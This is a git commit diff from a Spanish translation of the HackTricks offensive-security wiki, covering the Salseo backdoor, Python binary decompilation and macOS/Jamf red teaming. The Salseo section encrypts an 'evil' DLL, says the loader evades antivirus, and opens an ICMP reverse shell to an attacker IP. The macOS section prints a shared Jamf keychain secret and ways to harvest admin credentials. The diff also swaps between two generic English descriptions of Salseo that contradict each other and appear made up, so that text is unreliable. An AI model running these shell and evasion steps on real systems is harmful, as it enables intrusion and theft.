Translated ['backdoors/salseo.md', 'forensics/basic-forensic-methodology

This commit is contained in:
Translator 2023-08-16 05:10:21 +00:00
parent 67f846e069
commit bb263308f4
48 changed files with 1026 additions and 763 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.6 KiB

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 16 KiB

After

Width:  |  Height:  |  Size: 132 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 132 KiB

After

Width:  |  Height:  |  Size: 20 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 20 KiB

After

Width:  |  Height:  |  Size: 8.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 94 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 94 KiB

After

Width:  |  Height:  |  Size: 199 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 199 KiB

After

Width:  |  Height:  |  Size: 145 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 145 KiB

After

Width:  |  Height:  |  Size: 1.2 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.2 MiB

After

Width:  |  Height:  |  Size: 100 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 100 KiB

After

Width:  |  Height:  |  Size: 12 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 19 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 19 KiB

After

Width:  |  Height:  |  Size: 78 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 78 KiB

After

Width:  |  Height:  |  Size: 38 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 38 KiB

After

Width:  |  Height:  |  Size: 795 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 795 KiB

After

Width:  |  Height:  |  Size: 104 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 104 KiB

After

Width:  |  Height:  |  Size: 17 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 45 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 45 KiB

After

Width:  |  Height:  |  Size: 96 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 96 KiB

After

Width:  |  Height:  |  Size: 13 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 13 KiB

After

Width:  |  Height:  |  Size: 7.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 316 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 316 KiB

After

Width:  |  Height:  |  Size: 29 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 29 KiB

After

Width:  |  Height:  |  Size: 82 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 82 KiB

After

Width:  |  Height:  |  Size: 18 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 18 KiB

After

Width:  |  Height:  |  Size: 48 KiB

View File

@ -47,44 +47,48 @@ The Salseo backdoor is a type of malware that allows unauthorized access to a Wi
The Salseo backdoor can be installed on a target system through various methods, including:
1. **Email attachments**: The malware can be delivered as an attachment in a phishing email. When the user opens the attachment, the backdoor is installed silently in the background.
1. **Email attachments**: The malware can be delivered as an email attachment, often disguised as a legitimate file or document.
2. **Exploiting vulnerabilities**: The backdoor can exploit vulnerabilities in software or the operating system to gain unauthorized access to the system. This can be done through techniques such as remote code execution or privilege escalation.
2. **Drive-by downloads**: The backdoor can be downloaded and installed automatically when a user visits a compromised website.
3. **Malicious downloads**: The backdoor can be bundled with legitimate-looking software or files that users download from untrusted sources. When the user executes the downloaded file, the backdoor is installed.
3. **Exploiting vulnerabilities**: The malware can exploit security vulnerabilities in the target system to gain unauthorized access and install the backdoor.
##### Functionality
Once installed, the Salseo backdoor provides the attacker with a range of capabilities, including:
1. **Remote access**: The attacker can remotely connect to the infected system and gain full control over it. This allows them to perform actions as if they were physically present on the machine.
1. **Remote access**: The attacker can remotely control the infected system, allowing them to execute commands, upload and download files, and manipulate the system as if they were physically present.
2. **Data exfiltration**: The backdoor can be used to steal sensitive information from the infected system, such as login credentials, financial data, or personal files. This information can then be used for malicious purposes or sold on the dark web.
2. **Keylogging**: The backdoor can capture keystrokes, allowing the attacker to monitor and record sensitive information such as passwords and credit card details.
3. **Command execution**: The attacker can execute commands on the infected system, allowing them to perform various actions, such as downloading and executing additional malware, modifying system settings, or launching attacks on other systems.
3. **Screen capturing**: The malware can take screenshots of the infected system, giving the attacker a visual representation of the victim's activities.
4. **Persistence**: The Salseo backdoor is designed to maintain persistence on the infected system, ensuring that it remains active even after a system reboot. This allows the attacker to maintain access to the compromised machine for an extended period.
4. **File manipulation**: The attacker can create, delete, and modify files on the infected system, allowing them to plant additional malware or tamper with existing files.
##### Detection and Prevention
Detecting and preventing the Salseo backdoor can be challenging due to its stealthy nature. However, there are some measures that can be taken to mitigate the risk:
1. **Antivirus software**: Keeping antivirus software up to date can help detect and remove known instances of the Salseo backdoor.
1. **Antivirus software**: Regularly update and use reputable antivirus software to detect and remove known malware, including the Salseo backdoor.
2. **Regular system updates**: Installing software updates and patches can help prevent the exploitation of vulnerabilities that the backdoor may use to gain access to the system.
2. **Software updates**: Keep the operating system and all installed software up to date to patch any known vulnerabilities that could be exploited by the backdoor.
3. **User awareness**: Educating users about the risks of opening suspicious email attachments or downloading files from untrusted sources can help prevent the installation of the backdoor.
3. **Email hygiene**: Exercise caution when opening email attachments, especially from unknown or suspicious sources. Be wary of unexpected or unsolicited attachments.
4. **Network monitoring**: Monitoring network traffic for suspicious activity can help detect the presence of the backdoor and alert administrators to take appropriate action.
4. **Web browsing**: Avoid visiting untrusted websites and be cautious when clicking on links or downloading files from the internet.
By taking these preventive measures, the risk of falling victim to the Salseo backdoor can be significantly reduced.
5. **Firewalls**: Configure and maintain firewalls to monitor and control incoming and outgoing network traffic, blocking unauthorized access attempts.
6. **User awareness**: Educate users about the risks of malware and the importance of practicing safe computing habits, such as avoiding clicking on suspicious links or downloading files from untrusted sources.
By following these preventive measures, you can reduce the risk of falling victim to the Salseo backdoor and other similar malware.
```
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
```
Ok, ahora tienes todo lo que necesitas para ejecutar todo el asunto de Salseo: el **EvilDalsa.dll codificado** y el **binario de SalseoLoader**.
Ok, ahora tienes todo lo que necesitas para ejecutar todo el asunto de Salseo: el **EvilDalsa.dll codificado** y el **binario de SalseoLoader.**
**Sube el binario SalseoLoader.exe a la máquina. No deberían ser detectados por ningún antivirus...**
**Sube el binario SalseoLoader.exe a la máquina. No deberían ser detectados por ningún AV...**
## **Ejecutar la puerta trasera**
@ -113,21 +117,13 @@ sysctl -w net.ipv4.icmp_echo_ignore_all=0
```
#### Ejecutar el cliente:
To execute the client, follow these steps:
To execute the client, you need to follow these steps:
1. Open a terminal window.
2. Navigate to the directory where the client is located.
3. Run the client executable file by typing the following command:
3. Run the client executable by typing the command `./client`.
```
./client
```
This will start the client and establish a connection with the server.
4. If prompted, enter the necessary credentials or configuration settings.
Once the client is successfully executed, it will be ready to communicate with the server and perform the desired actions.
This will start the client and establish a connection with the server. Make sure to provide the necessary parameters, such as the server IP address and port number, if required.
```
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
```
@ -141,13 +137,13 @@ Abre el proyecto SalseoLoader usando Visual Studio.
### Agrega antes de la función principal: \[DllExport]
![](<../.gitbook/assets/image (2) (1) (1) (1) (1).png>)
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png>)
### Instala DllExport para este proyecto
#### **Herramientas** --> **Gestor de paquetes NuGet** --> **Administrar paquetes NuGet para la solución...**
![](<../.gitbook/assets/image (3) (1) (1) (1) (1).png>)
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png>)
#### **Busca el paquete DllExport (usando la pestaña Examinar) y presiona Instalar (y acepta el mensaje emergente)**
@ -161,9 +157,9 @@ Presiona **Desinstalar** (sí, es extraño pero confía en mí, es necesario)
![](<../.gitbook/assets/image (5) (1) (1) (2) (1).png>)
### **Sal de Visual Studio y ejecuta DllExport\_configure**
### **Cierra Visual Studio y ejecuta DllExport\_configure**
Simplemente **sal** de Visual Studio
Simplemente **cierra** Visual Studio
Luego, ve a tu carpeta **SalseoLoader** y **ejecuta DllExport\_Configure.bat**

View File

@ -1,76 +1,76 @@
# Descompilar binarios python compilados (exe, elf) - Recuperar desde .pyc
# Descompilar binarios de Python compilados (exe, elf) - Recuperar desde .pyc
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y en hackear lo imposible - ¡estamos contratando! (_se requiere fluidez en polaco escrito y hablado_).
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando**! (_se requiere fluidez en polaco escrito y hablado_).
{% embed url="https://www.stmcyber.com/careers" %}
## Desde Binario Compilado a .pyc
## De un binario compilado a .pyc
Desde un binario compilado **ELF** puedes **obtener el .pyc** con:
Desde un binario compilado **ELF**, puedes **obtener el .pyc** con:
```bash
pyi-archive_viewer <binary>
# The list of python modules will be given here:
[(0, 230, 311, 1, 'm', 'struct'),
(230, 1061, 1792, 1, 'm', 'pyimod01_os_path'),
(1291, 4071, 8907, 1, 'm', 'pyimod02_archive'),
(5362, 5609, 13152, 1, 'm', 'pyimod03_importers'),
(10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'),
(12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'),
(13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'),
(13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'),
(15090, 445, 672, 1, 's', 'pyi_rth_inspect'),
(15535, 2514, 4421, 1, 's', 'binary_name'),
(230, 1061, 1792, 1, 'm', 'pyimod01_os_path'),
(1291, 4071, 8907, 1, 'm', 'pyimod02_archive'),
(5362, 5609, 13152, 1, 'm', 'pyimod03_importers'),
(10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'),
(12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'),
(13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'),
(13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'),
(15090, 445, 672, 1, 's', 'pyi_rth_inspect'),
(15535, 2514, 4421, 1, 's', 'binary_name'),
...
? X binary_name
to filename? /tmp/binary.pyc
```
En un binario **python exe** compilado, puedes **obtener el archivo .pyc** ejecutando:
En un **binario ejecutable de Python** compilado, puedes **obtener el archivo .pyc** ejecutando:
```bash
python pyinstxtractor.py executable.exe
```
## De .pyc a código Python
Para los datos **.pyc** (Python "compilado"), debes intentar **extraer** el **código Python** **original**:
Para los datos **.pyc** (python "compilado"), debes comenzar intentando **extraer** el **código Python** **original**:
```bash
uncompyle6 binary.pyc > decompiled.py
```
**Asegúrate** de que el binario tenga la **extensión** "**.pyc**" (si no, uncompyle6 no funcionará)
**Asegúrate** de que el archivo binario tenga la **extensión** "**.pyc**" (si no, uncompyle6 no funcionará)
Al ejecutar **uncompyle6** podrías encontrar los **siguientes errores**:
Al ejecutar **uncompyle6** es posible que encuentres los **siguientes errores**:
### Error: Número mágico desconocido 227
```bash
/kali/.local/bin/uncompyle6 /tmp/binary.pyc
Unknown magic number 227 in /tmp/binary.pyc
```
Para solucionar esto, necesitas **agregar el número mágico correcto** al principio del archivo generado.
Para solucionar esto, debes **agregar el número mágico correcto** al principio del archivo generado.
**Los números mágicos varían con la versión de Python**, para obtener el número mágico de **Python 3.8** necesitarás **abrir una terminal de Python 3.8** y ejecutar:
**Los números mágicos varían según la versión de Python**, para obtener el número mágico de **Python 3.8**, deberás **abrir una terminal de Python 3.8** y ejecutar:
```
>> import imp
>> imp.get_magic().hex()
'550d0d0a'
```
El **número mágico** en este caso para python3.8 es **`0x550d0d0a`**, por lo tanto, para solucionar este error deberás **agregar** al **principio** del archivo **.pyc** los siguientes bytes: `0x0d550a0d000000000000000000000000`
El **número mágico** en este caso para python3.8 es **`0x550d0d0a`**, luego, para solucionar este error deberás **agregar** al **principio** del archivo **.pyc** los siguientes bytes: `0x0d550a0d000000000000000000000000`
**Una vez** que hayas **agregado** ese encabezado mágico, el **error debería estar solucionado.**
Así es como se verá un **encabezado mágico .pyc de python3.8** correctamente agregado:
Así es como se verá correctamente agregado el **encabezado mágico .pyc de python3.8**:
```bash
hexdump 'binary.pyc' | head
0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000
@ -80,23 +80,25 @@ hexdump 'binary.pyc' | head
```
### Error: Errores genéricos de descompilación
Pueden aparecer **otros errores** como: `class 'AssertionError'>; co_code should be one of the types (<class 'str'>, <class 'bytes'>, <class 'list'>, <class 'tuple'>); is type <class 'NoneType'>`, lo que probablemente significa que no has agregado correctamente el número mágico o que no has utilizado el **número mágico correcto**, así que asegúrate de usar el correcto (o prueba con uno nuevo).
Pueden aparecer **otros errores** como: `class 'AssertionError'>; co_code should be one of the types (<class 'str'>, <class 'bytes'>, <class 'list'>, <class 'tuple'>); is type <class 'NoneType'>`.
Revisa la documentación del error anterior.
Esto probablemente significa que **no has agregado correctamente** el número mágico o que no has **utilizado** el **número mágico correcto**, así que asegúrate de usar el correcto (o prueba con uno nuevo).
Consulta la documentación del error anterior.
## Herramienta automática
La herramienta [https://github.com/countercept/python-exe-unpacker](https://github.com/countercept/python-exe-unpacker) une varias herramientas disponibles para la comunidad que **ayudan a los investigadores a desempaquetar y descompilar ejecutables** escritos en Python (py2exe y pyinstaller).
La herramienta [https://github.com/countercept/python-exe-unpacker](https://github.com/countercept/python-exe-unpacker) combina varias herramientas disponibles para la comunidad que **ayudan a los investigadores a desempaquetar y descompilar ejecutables** escritos en Python (py2exe y pyinstaller).
Varias reglas YARA están disponibles para determinar si el ejecutable está escrito en Python (este script también confirma si el ejecutable fue creado con py2exe o pyinstaller).
Se dispone de varias reglas YARA para determinar si el ejecutable está escrito en Python (este script también confirma si el ejecutable fue creado con py2exe o pyinstaller).
### ImportError: File name: 'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' doesn't exist
### ImportError: Nombre de archivo: 'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' no existe
Actualmente, con unpy2exe o pyinstxtractor, el archivo de bytecode de Python que obtenemos puede no estar completo y, a su vez, **no puede ser reconocido por uncompyle6 para obtener el código fuente de Python plano**. Esto se debe a la falta de un **número de versión de bytecode de Python**. Por lo tanto, incluimos una opción de prepend; esto incluirá un número de versión de bytecode de Python en él y ayudará a facilitar el proceso de descompilación. Cuando intentamos usar uncompyle6 para descompilar el archivo .pyc, devuelve un error. Sin embargo, **una vez que usamos la opción de prepend, podemos ver que el código fuente de Python se ha descompilado con éxito**.
Actualmente, con unpy2exe o pyinstxtractor, el archivo de bytecode de Python que obtenemos puede no estar completo y, a su vez, **no puede ser reconocido por uncompyle6 para obtener el código fuente de Python en texto plano**. Esto se debe a la falta de un número de versión de bytecode de Python. Por lo tanto, hemos incluido una opción de prepend; esto incluirá un número de versión de bytecode de Python y ayudará a facilitar el proceso de descompilación. Cuando intentamos usar uncompyle6 para descompilar el archivo .pyc, devuelve un error. Sin embargo, **una vez que usamos la opción de prepend, podemos ver que el código fuente de Python se ha descompilado correctamente**.
```
test@test: uncompyle6 unpacked/malware_3.exe/archive.py
test@test: uncompyle6 unpacked/malware_3.exe/archive.py
Traceback (most recent call last):
……………………….
……………………….
ImportError: File name: 'unpacked/malware_3.exe/__pycache__/archive.cpython-35.pyc' doesn't exist
```
@ -110,7 +112,7 @@ test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive
```
## Analizando el ensamblado de Python
Si no pudiste extraer el código "original" de Python siguiendo los pasos anteriores, entonces puedes intentar **extraer** el **ensamblado** (pero no es muy descriptivo, así que intenta extraer de nuevo el código original). En [aquí](https://bits.theorem.co/protecting-a-python-codebase/) encontré un código muy simple para **desensamblar** el binario _.pyc_ (buena suerte entendiendo el flujo del código). Si el _.pyc_ es de Python2, usa Python2:
Si no pudiste extraer el código "original" de Python siguiendo los pasos anteriores, puedes intentar **extraer** el **ensamblado** (pero no es muy descriptivo, así que intenta extraer nuevamente el código original). En [aquí](https://bits.theorem.co/protecting-a-python-codebase/) encontré un código muy simple para **desensamblar** el archivo binario _.pyc_ (buena suerte entendiendo el flujo del código). Si el _.pyc_ es de Python 2, utiliza Python 2:
```bash
>>> import dis
>>> import marshal
@ -136,32 +138,32 @@ True
>>>
>>> # Disassemble the code object
>>> dis.disassemble(code)
1 0 LOAD_CONST 0 (<code object hello_world at 0x7f31b7240eb0, file "hello.py", line 1>)
3 MAKE_FUNCTION 0
6 STORE_NAME 0 (hello_world)
9 LOAD_CONST 1 (None)
12 RETURN_VALUE
1 0 LOAD_CONST 0 (<code object hello_world at 0x7f31b7240eb0, file "hello.py", line 1>)
3 MAKE_FUNCTION 0
6 STORE_NAME 0 (hello_world)
9 LOAD_CONST 1 (None)
12 RETURN_VALUE
>>>
>>> # Also disassemble that const being loaded (our function)
>>> dis.disassemble(code.co_consts[0])
2 0 LOAD_CONST 1 ('Hello {0}')
3 LOAD_ATTR 0 (format)
6 LOAD_FAST 0 (name)
9 CALL_FUNCTION 1
12 PRINT_ITEM
13 PRINT_NEWLINE
14 LOAD_CONST 0 (None)
17 RETURN_VALUE
2 0 LOAD_CONST 1 ('Hello {0}')
3 LOAD_ATTR 0 (format)
6 LOAD_FAST 0 (name)
9 CALL_FUNCTION 1
12 PRINT_ITEM
13 PRINT_NEWLINE
14 LOAD_CONST 0 (None)
17 RETURN_VALUE
```
## Python a Ejecutable
Para empezar, te mostraremos cómo se pueden compilar payloads en py2exe y PyInstaller.
Para empezar, vamos a mostrarte cómo se pueden compilar cargas útiles en py2exe y PyInstaller.
### Para crear un payload usando py2exe:
### Para crear una carga útil usando py2exe:
1. Instala el paquete py2exe desde [http://www.py2exe.org/](http://www.py2exe.org)
2. Para el payload (en este caso, lo llamaremos hello.py), usa un script como el de la Figura 1. La opción "bundle\_files" con el valor de 1 empaquetará todo, incluyendo el intérprete de Python, en un solo exe.
3. Una vez que el script esté listo, emitiremos el comando "python setup.py py2exe". Esto creará el ejecutable, tal como se muestra en la Figura 2.
2. Para la carga útil (en este caso, la llamaremos hello.py), utiliza un script como el que se muestra en la Figura 1. La opción "bundle\_files" con el valor de 1 agrupará todo, incluido el intérprete de Python, en un solo archivo ejecutable.
3. Una vez que el script esté listo, ejecuta el comando "python setup.py py2exe". Esto creará el ejecutable, tal como se muestra en la Figura 2.
```
from distutils.core import setup
import py2exe, sys, os
@ -169,10 +171,10 @@ import py2exe, sys, os
sys.argv.append('py2exe')
setup(
options = {'py2exe': {'bundle_files': 1}},
#windows = [{'script': "hello.py"}],
console = [{'script': "hello.py"}],
zipfile = None,
options = {'py2exe': {'bundle_files': 1}},
#windows = [{'script': "hello.py"}],
console = [{'script': "hello.py"}],
zipfile = None,
)
```
@ -189,10 +191,10 @@ running py2exe
copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe
Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe
```
### Para crear un payload usando PyInstaller:
### Para crear un payload utilizando PyInstaller:
1. Instale PyInstaller usando pip (pip install pyinstaller).
2. Después de eso, emitiremos el comando "pyinstaller --onefile hello.py" (un recordatorio de que 'hello.py' es nuestro payload). Esto agrupará todo en un solo ejecutable.
1. Instala PyInstaller utilizando pip (pip install pyinstaller).
2. Después de eso, emitiremos el comando "pyinstaller --onefile hello.py" (un recordatorio de que 'hello.py' es nuestro payload). Esto agrupará todo en un ejecutable.
```
C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
108 INFO: PyInstaller: 3.3.1
@ -209,9 +211,9 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
* [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/)
<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y en hackear lo imposible - ¡**estamos contratando!** (_se requiere fluidez en polaco escrito y hablado_).
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable, ¡**estamos contratando!** (_se requiere fluidez en polaco, tanto escrito como hablado_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -221,8 +223,8 @@ Si estás interesado en una **carrera de hacking** y en hackear lo imposible -
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View File

@ -1,4 +1,4 @@
# macOS Red Teaming
# Red Teaming en macOS
<details>
@ -19,7 +19,7 @@
Si logras **comprometer las credenciales de administrador** para acceder a la plataforma de gestión, puedes **potencialmente comprometer todas las computadoras** distribuyendo tu malware en las máquinas.
Para el red teaming en entornos de MacOS, es muy recomendable tener cierto entendimiento de cómo funcionan los MDMs:
Para el red teaming en entornos de MacOS, es altamente recomendable tener cierto entendimiento de cómo funcionan los MDMs:
{% content-ref url="macos-mdm/" %}
[macos-mdm](macos-mdm/)
@ -53,7 +53,7 @@ Además, después de encontrar las credenciales adecuadas, podrías ser capaz de
#### Autenticación de dispositivos de JAMF
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
El binario **`jamf`** contenía el secreto para abrir el llavero que en el momento del descubrimiento era **compartido** entre todos y era: **`jk23ucnq91jfu9aj`**.\
Además, jamf **persiste** como un **LaunchDaemon** en **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
@ -102,9 +102,9 @@ Con esta información, **crea una máquina virtual** con el **UUID** de hardware
<figure><img src="../../.gitbook/assets/image (11).png" alt=""><figcaption><p>a</p></figcaption></figure>
También puedes monitorear la ubicación `/Library/Application Support/Jamf/tmp/` para los **scripts personalizados** que los administradores puedan querer ejecutar a través de Jamf, ya que se **colocan aquí, se ejecutan y se eliminan**. Estos scripts **pueden contener credenciales**.
También puedes monitorear la ubicación `/Library/Application Support/Jamf/tmp/` en busca de **scripts personalizados** que los administradores puedan querer ejecutar a través de Jamf, ya que se **colocan aquí, se ejecutan y se eliminan**. Estos scripts **pueden contener credenciales**.
Sin embargo, las **credenciales** pueden pasarse a estos scripts como **parámetros**, por lo que tendrías que monitorear `ps aux | grep -i jamf` (incluso sin ser root).
Sin embargo, las **credenciales** podrían pasarse a estos scripts como **parámetros**, por lo que tendrías que monitorear `ps aux | grep -i jamf` (sin siquiera ser root).
El script [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) puede escuchar la adición de nuevos archivos y nuevos argumentos de proceso.
@ -118,7 +118,7 @@ Y también sobre los **protocolos de red** **"especiales"** de **MacOS**:
## Active Directory
En algunas ocasiones te encontrarás con que la **computadora MacOS está conectada a un AD**. En este escenario, debes intentar **enumerar** el directorio activo como estás acostumbrado. Encuentra **ayuda** en las siguientes páginas:
En algunas ocasiones te encontrarás con que el **ordenador MacOS está conectado a un AD**. En este escenario, debes intentar **enumerar** el directorio activo como estás acostumbrado. Encuentra **ayuda** en las siguientes páginas:
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
@ -140,7 +140,7 @@ También hay algunas herramientas preparadas para MacOS para enumerar automátic
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound es una extensión de la herramienta de auditoría Bloodhound que permite recopilar e ingestar relaciones de Active Directory en hosts de MacOS.
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost es un proyecto Objective-C diseñado para interactuar con las API de Heimdal krb5 en macOS. El objetivo del proyecto es permitir pruebas de seguridad más efectivas en torno a Kerberos en dispositivos macOS utilizando API nativas sin requerir ningún otro marco o paquete en el objetivo.
* [**Orchard**](https://github.com/its-a-feature/Orchard): Herramienta de JavaScript para Automatización (JXA) para enumerar Active Directory.
* [**Orchard**](https://github.com/its-a-feature/Orchard): Herramienta de JavaScript para Automatización (JXA) para enumeración de Active Directory.
### Información del dominio
```bash
@ -187,19 +187,19 @@ Más información en [https://its-a-feature.github.io/posts/2018/01/Active-Direc
## Accediendo al Keychain
El Keychain probablemente contiene información sensible que, si se accede sin generar una solicitud, podría ayudar a avanzar en un ejercicio de red team:
El Keychain probablemente contiene información sensible que, si se accede sin generar una solicitud, podría ayudar a avanzar en un ejercicio de red teaming:
{% content-ref url="macos-keychain.md" %}
[macos-keychain.md](macos-keychain.md)
{% endcontent-ref %}
## Servicios Externos
## Servicios externos
El red teaming en MacOS es diferente al red teaming regular de Windows, ya que generalmente **MacOS está integrado con varias plataformas externas directamente**. Una configuración común de MacOS es acceder a la computadora utilizando **credenciales sincronizadas de OneLogin y acceder a varios servicios externos** (como github, aws...) a través de OneLogin:
![](<../../.gitbook/assets/image (563).png>)
## Técnicas Misceláneas de Red Team
## Técnicas de red teaming misceláneas
### Safari
@ -223,6 +223,6 @@ Cuando se descarga un archivo en Safari, si es un archivo "seguro", se **abrirá
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
